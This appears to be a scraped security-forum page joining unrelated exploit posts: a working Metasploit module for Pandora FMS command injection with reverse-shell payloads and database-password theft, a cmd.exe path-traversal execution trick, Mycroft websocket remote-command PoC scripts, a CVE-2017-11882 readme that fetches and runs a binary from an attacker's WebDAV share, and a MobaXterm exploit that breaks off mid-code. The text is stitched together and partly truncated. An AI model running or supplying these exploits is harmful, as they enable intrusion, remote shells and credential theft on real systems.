Search the Community

During a recent engagement, I discovered a machine that is running VMware ESXi 6.7.0. Upon inspecting any known vulnerabilities associated with this version of the software, I identified it may be vulnerable to ESXi OpenSLP heap-overflow (CVE-2021–21974). Through googling, I found a blog post by Lucas Leong (@_wmliang_) of Trend Micro’s Zero Day Initiative, who is the security researcher that found this bug. Lucas wrote a brief overview on how to exploit the vulnerability but share no reference to a PoC. Since I couldn’t find any existing PoC on the internet, I thought it would be neat to develop an exploit based on Lucas’ approach. Before proceeding, I highly encourage fellow readers to review Lucas’ blog to get an overview of the bug and exploitation strategy from the founder’s perspective.

This Metasploit module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps older versions) in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in th e Events feature of Pandora FMS. This flaw allows users to execute arbitrary commands via the target parameter in HTTP POST requests to the Events function. After authenticating to the target, the module attempts to exploit this flaw by issuing such an HTTP POST request, with the target parameter set to contain the payload. If a shell is obtained, the module will try to obtain the local MySQL database password via a simple grep command on the plaintext /var/www/html/pandora_console/include/config.php file. Valid credentials for a Pandora FMS account are required. The account does not need to have admin privileges. This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Pandora FMS Events Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps older versions) in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in the `Events` feature of Pandora FMS. This flaw allows users to execute arbitrary commands via the `target` parameter in HTTP POST requests to the `Events` function. After authenticating to the target, the module attempts to exploit this flaw by issuing such an HTTP POST request, with the `target` parameter set to contain the payload. If a shell is obtained, the module will try to obtain the local MySQL database password via a simple `grep` command on the plaintext `/var/www/html/pandora_console/include/config.php` file. Valid credentials for a Pandora FMS account are required. The account does not need to have admin privileges. This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). }, 'License' => MSF_LICENSE, 'Author' => [ 'Fernando Catoira', # Discovery 'Julio Sanchez', # Discovery 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-13851'], # RCE via the `events` feature ['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities'] ], 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-06-04', 'DefaultTarget' => 1 ) ) register_options [ OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora']) ] end def check vprint_status('Running check') res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php') unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>') return CheckCode::Safe('Target is not a Pandora FMS application.') end @cookie = res.get_cookies html = res.get_html_document full_version = html.at('div[@id="ver_num"]') if full_version.blank? return CheckCode::Detected('Could not determine the Pandora FMS version.') end full_version = full_version.text version = full_version[1..-1].sub('NG', '') if version.blank? return CheckCode::Detected('Could not determine the Pandora FMS version.') end version = Gem::Version.new version unless version <= Gem::Version.new('7.0.744') return CheckCode::Safe("Target is Pandora FMS version #{full_version}.") end CheckCode::Appears("Target is Pandora FMS version #{full_version}.") end def login(user, pass) vprint_status "Authenticating as #{user} ..." res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'cookie' => @cookie, 'vars_get' => { 'login' => '1' }, 'vars_post' => { 'nick' => user, 'pass' => pass, 'login_button' => 'Login' } }) unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>') fail_with Failure::NoAccess, 'Authentication failed' end print_good "Authenticated as user #{user}." end def on_new_session(client) super if target.arch.first == ARCH_CMD print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.') client.shell_write("grep dbpass include/config.php\n") else print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.') end end def execute_command(cmd, _opts = {}) print_status('Executing payload...') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax.php'), 'cookie' => @cookie, 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Referer' => full_uri('index.php'), 'vars_get' => { 'sec' => 'eventos', 'sec2' => 'operation/events/events' }, 'vars_post' => { 'page' => 'include/ajax/events', 'perform_event_response' => '10000000', 'target' => cmd.to_s, 'response_id' => '1' } }, 0) # the server will not send a response, so the module shouldn't wait for one end def exploit login(datastore['USERNAME'], datastore['PASSWORD']) if target.arch.first == ARCH_CMD execute_command payload.encoded else execute_cmdstager(background: true) end end end # 0day.today [2020-07-12] # Source

This one is about an interesting behavior I identified in cmd.exe in result of many weeks of intermittent (private time, every now and then) research in pursuit of some new OS Command Injection attack vectors. So I was mostly trying to: find an encoding missmatch between some command check/sanitization code and the rest of the program, allowing to smuggle the ASCII version of the existing command separators in the second byte of a wide char (for a moment I believed I had it in the StripQuotes function - I was wrong ¯\(ツ)/¯), discover some hidden cmd.exe's counterpart of the unix shells' backtick operator, find a command separator alternative to |, & and \n - which long ago resulted in the discovery of an interesting and still alive, but very rarely occurring vulnerability - https://vuldb.com/?id.93602. And I eventually ended up finding a command/argument confusion with path traversal ... or whatever the fuck this is For the lazy with no patience to read the whole thing, here comes the magic trick: Tested on Windows 10 Pro x64 (Microsoft Windows [Version 10.0.18363.836]), cmd.exe version: 10.0.18362.449 (SHA256: FF79D3C4A0B7EB191783C323AB8363EBD1FD10BE58D8BCC96B07067743CA81D5). But should work with earlier versions as well... probably with all versions. Some more context Let's consider the following command line: cmd.exe /c "ping 127.0.0.1", whereas 127.0.0.1 is the argument controlled by the user in an application that runs an external command (in this sample case it's ping). This exact syntax - with the command being preceded with the /c switch and enclosed in double quotes - is the default way cmd.exe is used by external programs to execute system commands (e.g. PHP shell_exec() function and its variants). Now, the user can trick cmd.exe into running calc.exe instead of ping.exe by providing an argument like 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe, traversing the path to the executable of their choice, which cmd.exe will run instead of the ping.exe binary. So the full command line becomes: cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe" The potential impact of this includes Denial of Service, Information Disclosure, Arbitrary Code Execution (depending on the target application and system). Although I am fairly sure there are some other scenarios with OS command execution whereas a part of the command line comes from a different security context than the final command is executed with (Some services maybe? I haven't search myself yet) - anyway let's use a web application as an example. Consider the following sample PHP code: Due to the use of escapeshellcmd() it is not vulnerable to known command injection vectors (except for argument injection, but that's a slightly different story and does not allow RCE with the list of arguments ping.exe supports - no built-in execution arguments like find's -exec). And I know, I know, some of you will point out that in this case escapeshellarg() should be used instead - and yup, you would be right, especially since putting the argument in quotes in fact prevents this behavior, as in such case cmd.exe properly identifies the command to run (ping.exe). The trick does not work when the argument is enclosed in single/double quotes. Anyway - the use of escapeshellcmd() instead of escapeshellarg() is very common. Noticed that while - after finding and registering CVE-2020-12669, CVE-2020-12742 and CVE-2020-12743 ended up spending one more week running automated source code analysis scans against more open source projects and manually following up the results - using my old evil SCA tool for PHP. Also that's what made me fed up with PHP again quite quickly, forcing me to get back to cmd.exe only to let me finally discover what this blog post is mostly about. I am fairly sure there are applications vulnerable to this (doing OS command injection sanity checks, but failing to prevent path traversal and enclose the argument in quotes). Haven't searched yet because I am way too lazy/busy. Also, the notion of similar behavior in other command interpreters is also worth entertaining. An extended POC Normal use: Abuse: Now, this is what normal use looks like in Sysmon log (process creation event): So basically the child process (ping.exe) is created with command line equal to the value enclosed between the double quotes preceded by the /c switch from the parent process (cmd.exe) command line. Now, the same for the above ipconfig.exe hijack: And it turns out we are not limited to executables located in directories present in %PATH%. We can traverse to any location on the same disk. Also, we are not limited to the EXE extension, neither to the list of "executable" extensions contained in the %PATHEXT% variable (which by default is .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC - basically these are the extensions cmd.exe will try to add to the name of the command if no extension is provided, e.g. when ping is used instead of explicit ping.exe). cmd.exe runs stuff regardless to the extension, something I noticed long ago (https://twitter.com/julianpentest/status/1203386223227572224). And one more thing - more additional arguments between the original command and the smuggled executable path can be added. Let's see all of this combined. For the demonstrative purposes, the following C program was compiled and linked into a PE executable (it simply prints out its own command line): Copied the EXE into C:\xampp\tmp\cmd.png (consider this as an example of ANY location a malicious user could write a file). Action: So we just effectively achieved an equivalent of actual (exec, not just read) PE Local File Inclusion in an otherwise-safe PHP ping script. But I don't think that our options end here. The potential for extending this into a full RCE without chaining with file upload/control I am certain it is also possible to turn this into an RCE even without the possibility of fully/partially controlling any file in the target file system and deliver the payload in the command line itself, thus creating a sort of polymorphic malicious command line payload. When running the target executable, cmd.exe passes to it the entire part of the command line following the /c switch. For instance: cmd.exe /c "ping 127.0.0.1/../../../../../../../windows/system32/calc.exe" executes c:\windows\system32\calc.exe with command line equal ping 127.0.0.1/../../../../../../../windows/system32/calc.exe . And, as presented in the extended POC, it is possible to hijack the executable even when providing multiple arguments, leading to command lines like: ping THE PLACE FOR THE RCE PAYLOAD ARGS 127.0.0.1/../../path/to/lol.bin This is the command line lol.bin would be executed with. Finding a proxy execution LOLBin tolerant enough to invalid arguments (since we as attackers cannot fully control them) could turn this into a full RCE. The LOLBin we need is one accepting/ignoring the first argument (which is the hardcoded command we cannot control, in our example "ping"), while also willing to accept/ignore the last one (which is the traversed path to itself). Something like https://lolbas-project.github.io/lolbas/Binaries/Ieexec/, but actually accepting multiple arguments while quietly ignoring the incorrect ones. Also, I was thinking of powershell. Running this: cmd.exe /c "ping ;calc.exe; 127.0.0.1/../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE" makes powershell start with command line of ping ;calc.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE I expected it to treat the command line as a string of inline commands and run calc.exe after running ping.exe. Yes, I know, a semicolon is used here to separate ping from calc - but the semicolon character is NOT a command separator in cmd.exe, while it is in powershell (on the other hand almost all OS Command Injection filters block it anyway, as they are written universally with multiple platforms in mind - cause obviously the semicolon IS a command separator in unix shells). A perfect supported syntax here would be some sort of simple base64-encoded code injection like powershell's -EncodedCommand, having found a way to make it work even when preceded with a string we cannot control. Anyway, this attempt led to powershell running in interactive mode instead of treating the command line as a sequence of inline commands to execute. Anyway, at this point turning this into an RCE boils down to researching the behaviors of particular LOLbins, focusing on the way they process their command line, rather than researching cmd.exe itself (although yes, I also thought about self-chaining and abusing cmd.exe as the LOLbin for this, in hope for taking advantage of some nuances between the way it parses its command line when it does and when it does not start with the /c switch). Stumbling upon and some analysis I know this looks silly enough to suggest I found it while ramming that sample PHP code over HTTP with Burp while watching Procmon with proper filters... or something like that (which isn't such a bad idea by the way)... as opposed to writing a custom cmd.exe fuzzer (no, you don't need to tell me my code is far away from elegant, I couldn't care less), then after obtaining rather boring and disappointing results, spending weeks on static analysis with Ghidra (thanks NSA, I am literally in love with this tool), followed up with more weeks of further work with Ghidra while simultaneously manually debugging with x64dbg while further expanding comments in the Ghidra project 😂 cmd.exe command line processing starts in the CheckSwitches function (which gets called from Init, which itself gets called from main). CheckSwitches is responsible for determining what switches (like /c, /k, /v:on etc.) cmd.exe was called with. The full list of options can be found in cmd.exe /? help (which by the way, to my surprise, reflects the actual functionality pretty well). I spent a good deal of time analyzing it carefully, looking for hidden switches, logic issues allowing to smuggle multiple switches via the command line by jumping out of the double quotes, quote-stripping issues and whatever else would just manifest to me as I dug in. The beginning of the CheckSwitches function after some naming editions and notes I took If the /c switch is detected, processing moves to the actual command line enclosed in double quotes - which is the most common mode cmd.exe is used and the only one the rest of this write-up is about: The same mode can be attained with the /r switch: After some further logic, doing, among other things, parsing the quoted string and making some sanity fixes (like removing any spaces if any found from its beginning), a function with a very encouraging and self-explanatory name is called: Disassembly view: Decompiler view: At this point it was clear it was high time for debugging to come into play. By default x64dbg will set up a breakpoint at the entry point - mainCRTStartup. This is a good opportunity to set an arbitrary command line: Then start cmd.exe once again (Debug-> Restart). We also set up a breakpoint on the top of the SearchForExecutable function, so we catch all its instances. We run into the first instance of SearchForExecutable: We can see that the double-quoted proper command line (after cmd.exe skips the preceding cmd.exe /c) along with its double quotes is held in RBX and R15. Also, the value on the top of the stack (right bottom corner) contains an address pointing at CheckSwitches - it's the saved RET. So we know this instance is called from CheckSwitches. If we hit F9 again, we will run into the second instance of SearchForExecutable, but this time the command line string is held in RAX, RDI and R11, while the call originates from another function named ECWork: This second instance resolves and returns the full path to ping.exe. Below we can see the body of the ECWork function, with a call to SearchForExecutable (marked black). This is where the RIP was at when the screenshot was taken - right before the second call of SearchForExecutable: Now, on below screenshot the SearchForExecutable call already returned (note the full path to ping.exe pointed at with the address held in R14). Fifteen instructions later the ExecPgm function is called, using the newly resolved executable path to create the new process: So - seeing SearchForExecutable being called against the whole ping 127.0.0.1 string (uh yeah, those evil spaces) suggests potential confusion between the full command line and an actual file name... So this gave me the initial idea to check whether the executable could be hijacked by literally creating one under a name equal to the command line that would make it run: Uh really? Interesting. I decided to have a look with Procmon in order to see what file names cmd.exe attempts to open with CreateFile: So yes, the result confirmed opening a copy of calc.exe from the file literally named ping .PNG in the current working directory: Now, interestingly, I would not see any results with this Procmon filter (Operation = CreateFile) if I did not create the file first... One would expect to see cmd.exe mindlessly calling CreateFile against nonexistent files with names being various mutations of the command line, with NAME NOT FOUND result - the usual way one would search for potential DLL side loading issues... But NOT in this case - cmd.exe actually checks whether such file exists before calling CreateFile, by calling QueryDirectory instead: For this purpose, in Procmon, it is more accurate to specify a filter based on the payload's unique magic string (like PNG in this case, as this would be the string we as attackers could potentially control) occurring in the Path property instead of filtering based on the Operation. "So, anyway, this isn't very useful" - I thought and got back to x64dbg. "We can only hijack the command if we can literally write a file under a very dodgy name into the target application's current directory... " - I kept thinking - "... Current directory... u sure ONLY current directory?" - and at this point my path traversal reflex lit up, a seemingly crazy and desperate idea to attempt traversal payloads against parts of the command line parsed by SearchForExecutable. Which made me manually change the command line to ping 127.0.0.1/../calc.exe and restart debugging... while already thinking of modifying the cmd.exe fuzzer in order to throw a set payloads generated for this purpose with psychoPATH against cmd.exe... But that never happened because of what I saw after I hit F9 one more time. Below we can see x64dbg with cmd.exe ran with cmd.exe /c "ping 127.0.0.1/../calc.exe" command line (see RDI). We are hanging right after the second SearchForExecutable call, the one originating from the bottom of the ECWork function. Just few instructions before calling ExecPgm, which is about to execute the PE pointed by R14. The full path to C:\Windows\System32\calc.exe present R14 is the result of the just-returned SearchForExecutable("ping 127.0.0.1/../calc.exe") call preceding the current RIP: The traversal appears to be relative to a subdirectory of the current working directory (calc.exe is at c:\windows\system32\calc.exe😞 "Or maybe this is just a result of a failed path traversal sanity check, only removing the first occurrence of ../?" - I kept wondering. So I dug further into the SearchForExecutable function, also trying to find the answer why variants of the argument created by splitting it by spaces are considered and why the most-to-the-right one is chosen first when found. I narrowed down the culprit code to the instructions within the SearchForExecutable function, between the call of mystrcspn at 14000ff64 and then the call of the FullPath function at 14001005b and exists_ex at 140010414: In the meantime I received the following feedback from Microsoft: We do have a blog post that helps describe the behavior you have documented: https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats. Cmd.exe first tries to interpret the whole string as a path: "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe” string is being treated as a relative path, so “ping 127.0.0.1” is interpreted as a segment in that path, and is removed due to the preceding “../” this should help explain why you shouldn’t be able to use the user controlled input string to pass arguments to the executable. There are a lot a cases that would require that behaviour, e.g. cmd.exe /c "....\Program Files (x86)\Internet Explorer\iexplore.exe" we wouldn’t want that to try to run some program “....\Program” with the argument “Files (x86)\Internet Explorer\iexplore.exe”. It’s only if the full string can’t be resolved to a valid path, that it splits on spaces and takes everything before the first space as the intended executable name (hence why “ping 127.0.0.1” does work). So yeah... those evil spaces and quoting. From this point, I only escalated the issue by confirming the possibility of traversing to arbitrary directories as well as the ability to force execution of PE files with arbitrary extensions. Interestingly, this slightly resembles the common unquoted service path issue, except that in this case the most-to-the-right variant gets prioritized. The disclosure Upon discovery I documented and reported this peculiarity to MSRC. After little less than six days the report was picked up and reviewed. About a week later Microsoft completed their assessment, concluding that this does not meet the bar for security servicing: On one hand, I was little disappointed that Microsoft would not address it and I was not getting the CVE in cmd.exe I have wanted for some time. On the other hand, at least nothing's holding me back from sharing it already and hopefully it will be around for some time so we can play with it It's not a vulnerability, it's a technique I would like thank Microsoft for making all of this possible - and for being nice enough to even offer me a review of this post! Which was completely unexpected, but obviously highly appreciated. Some reflections Researching stuff can sometimes appear to be a lonely and thankless journey, especially after days and weeks of seemingly fruitless drudging and sculpturing - but I realized this is just a short-sighted perception, whereas success is exclusively measured by the number of uncovered vulnerabilities/features/interesting behaviors (no point to argue about the terminology here ). In offensive security we rarely pay attention to the stuff we tried and failed, even though those failed attempts are equally important - as if we did not try, we would never know what's there (and risk false negatives). Curiosity and the need to know. And software is full of surprises. Plus, simply dealing with a particular subject (like analyzing a given program/protocol/format) and gradually getting more and more familiar with it feeds our minds with new mental models, which makes us automatically come up with more and more ideas for potential bugs, scenarios and weird behaviors as we keep hacking. A journey through code accompanied by new inspirations, awarded with new knowledge and the peace of mind resulting from answering questions... sometimes ending with great satisfaction of a unique discovery. Source

Cisco has released security updates to fix multiple vulnerabilities in various products, including two remote code execution flaws in Webex Player. The two remote code execution vulnerabilities fixed by Cisco have been tracked CVE-2020-3127 and CVE-2020-3128 respectively. The vulnerabilities have been rated as high severity and received a CVSS score of 7.8. The vulnerabilities are caused by the insufficient validation of elements within a Webex recording stored as ARF (Advanced Recording Format) or WRF (Webex Recording Format). A remote attacker could exploit the vulnerabilities by sending malicious ARF/WRF files and tricking the victim into opening them. The flaw could trigger the execution of arbitrary code with the privileges of the current user. The flaws affect Webex Meetings (Webex Network Recording Player and Webex Player versions prior to WBS 39.5.17 or WBS 39.11.0), Webex Meetings Online (Webex Network Recording Player and Webex Player releases earlier than 1.3.49), and Webex Meetings Server (Webex Network Recording Player releases earlier than 3.0MR3SecurityPatch1 and 4.0MR2SecurityPatch2). Cisco confirmed that it is not aware of attacks in the wild exploiting the flaws. The tech giant also released security updated for another two high severity vulnerabilities, a Cisco Intelligent Proximity SSL Certificate Validation flaw (CVE-2020-3155) and a Cross-Site Request Forgery Vulnerability in Cisco Prime Network Registrar (CVE-2020-3148). The CVE-2020-3155 flaw could be remotely exploited to view or alter information shared on Webex video devices and Cisco collaboration endpoints. The flaw is caused by the lack of validation of the SSL server certificate received when connecting to a Webex video device or a Cisco collaboration endpoint. In this scenario, an attacker could carry out a man in the middle (MITM). The CVE-2020-3148 flaw impacts the web-based interface of Prime Network Registrar (CPNR) and could be exploited by a remote, unauthenticated attacker to launch a cross-site request forgery (CSRF) attack. Cisco also fixed nine medium severity flaws that could lead to information disclosure, command execution, denial of service, cross-site scripting (XSS), or resource exhaustion. The flaws impact Webex Meetings Client for MacOS, TelePresence Management Suite, Remote PHY Device Software, Prime Collaboration Provisioning, Identity Services Engine (ISE), IOS XR Software, AsyncOS Software for Email Security Appliances (ESAs), and ESA, Web Security Appliance (WSA), and Content Security Management Appliance (SMA). The full list of addressed issued is available here. Via

A flaw in the implementation of Microsoft's Troubleshooter technology could lead to remote code execution if a crafted .diagcab file is opened by the victim. The exploit leverages a rogue webdav server to trick MSDT to drop files to attacker controller locations on the file system. Source

"Hey Mycroft, we've got a Problem" Getting "Zero Click" Remote Code Execution in Mycroft AI vocal assistant Introduction During my journey contributing to open source I was working with my friend Matteo De Carlo on an AUR Package of a really interesting project called Mycroft AI. It's an AI-powered vocal assistant started with a crowdfunding campaign in 2015 and a more recent one that allowed Mycroft to produce their Mark-I and Mark-II devices. It's also running on Linux Desktop/Server, Raspberry PI and will be available soon™ on Jaguar Type-F and Land Rover Digging in the source code While looking at the source code I found an interesting point: here ... host = config.get("host") port = config.get("port") route = config.get("route") validate_param(host, "websocket.host") validate_param(port, "websocket.port") validate_param(route, "websocket.route") routes = [ (route, WebsocketEventHandler) ] application = web.Application(routes, **settings) application.listen(port, host) ioloop.IOLoop.instance().start() ... So there is a websocket server that doesn't require authentication that by default is exposed on 0.0.0.0:8181/core. Let's test it #!/usr/bin/env python import asyncio import websockets uri = "ws://myserver:8181/core" command = "say pwned" async def sendPayload(): async with websockets.connect(uri) as websocket: await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]}, \"type\": \"recognizer_loop:utterance\", \"context\": null}") asyncio.get_event_loop().run_until_complete(sendPayload()) And magically we have an answer from the vocal assistant saying pwned! Well, now we can have Mycroft pronounce stuff remotely, but this is not a really big finding unless you want to scare your friends, right? The skills system Digging deeper we can see that Mycroft has a skills system and a default skill that can install others skills (pretty neat, right?) How is a skill composed? From what we can see from the documentation a default skill is composed by: dialog/en-us/command.dialog contains the vocal command that will trigger the skill vocab/en-us/answer.voc contains the answer that Mycroft will pronounce requirements.txt contains the requirements for the skill that will be installed with pip __int__.py contains the main function of the skill and will be loaded when the skill is triggered What can I do? I could create a malicious skill that when triggered runs arbitrary code on the remote machine, but unfortunately this is not possible via vocal command unless the URL of the skill is not whitelisted via the online website. So this is possible but will be a little tricky. So I'm done? Not yet. I found out that I can trigger skills remotely and that is possible to execute commands on a remote machine convincing the user to install a malicious skill. I may have enough to submit a vulnerability report. But maybe I can do a bit better... Getting a remote shell using default skills We know that Mycroft has some default skills like open that will open an application and others that are whitelisted but not installed. Reading through to the list, I found a really interesting skill called skill-autogui, whose description says Manipulate your mouse and keyboard with Mycroft. We got it! Let's try to combine everything we found so far into a PoC: #!/usr/bin/env python import sys import asyncio import websockets import time cmds = ["mute audio"] + sys.argv[1:] uri = "ws://myserver:8181/core" async def sendPayload(): for payload in cmds: async with websockets.connect(uri) as websocket: await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]}, \"type\": \"recognizer_loop:utterance\", \"context\": null}") time.sleep(1) asyncio.get_event_loop().run_until_complete(sendPayload()) Running the exploit with python pwn.py "install autogui" "open xterm" "type echo pwned" "press enter" allowed me to finally get a command execution on a Linux machine. Notes open xterm was needed because my test Linux environment had a DE installed, on a remote server the commands will be executed directly on TTY so this step is not nesessary. The skill branching had a big change and now some skills are not (yet) available (autogui is one of them) but this is not the real point. Mycroft has skills to interact with domotic houses and other services that can still be manipulated (the lack of imagination is the limit here). The vulnerability lies in the lack of authentication for the ws. Affected devices All the devices running Mycroft <= ? with the websocket server exposed (Mark-I has the websocket behind a firewall by default) Interested in my work? Follow me on: Twitter: @0x7a657461 Linkedin: https://linkedin.com/in/0xzeta GitHub: https://github.com/Nhoya Timeline 08/03/2018 Vulnerability found 09/03/2018 Vulnerability reported 13/03/2018 The CTO answered that they are aware of this problem and are currently working on a patch 06/06/2018 The CTO said that they have no problem with the release of the vulnerability and will add a warning to remember the user to use a firewall ¯\_(ツ)_/¯ 09/06/2018 Public disclosure Source

Microsoft Office - OLE Remote Code Execution Exploit CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882 Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html DEMO PoC exploitation: webdav_exec CVE-2017-11882 A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution. The first command which triggers WebClient service start may look like this: cmd.exe /c start \\attacker_ip\ff Attacker controlled binary path should be a UNC network path: \\attacker_ip\ff\1.exe Usage webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name Sample exploit for CVE-2017-11882 (starting calc.exe as payload) example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system. Download: CVE-2017-11882-master.zip or git clone https://github.com/embedi/CVE-2017-11882.git Mirror: webdav_exec_CVE-2017-11882.py Source

Author: sultan albalawi | Category: remote exploits | Platform: windows Date add: 12-09-2017 | Risk: [Security Risk Critical] | 0day-ID: 0day-ID-28494 import telnetlib,sys # Exploit Title: MobaXtrem 10.4 Remote Code Execution # Date: 11/9/2017 # Exploit Author: Sultan Albalawi # Vendor Homepage: http://mobatek.net # Software Link: http://download.mobatek.net/10420170816103227/MobaXterm_Portable_v10.4.zip # Version: 10.4 # Tested on: Windows Xp & Windows 7 & 10 # POC : https://www.youtube.com/watch?v=oYdzP0umtFA&feature=youtu.be # Vulnerability Cause::: # Telnet service doesn't authinticate for remote conncection which allows attacker to # pass malicious commands over victim box through protocol. print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \ "\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \ "\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \ "\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \ "\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \ "\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \ "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \ "\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \ "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \ "\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \ "\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \ "\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \ "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \ "\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \ "\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \ "\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \ "\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \ "\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \ 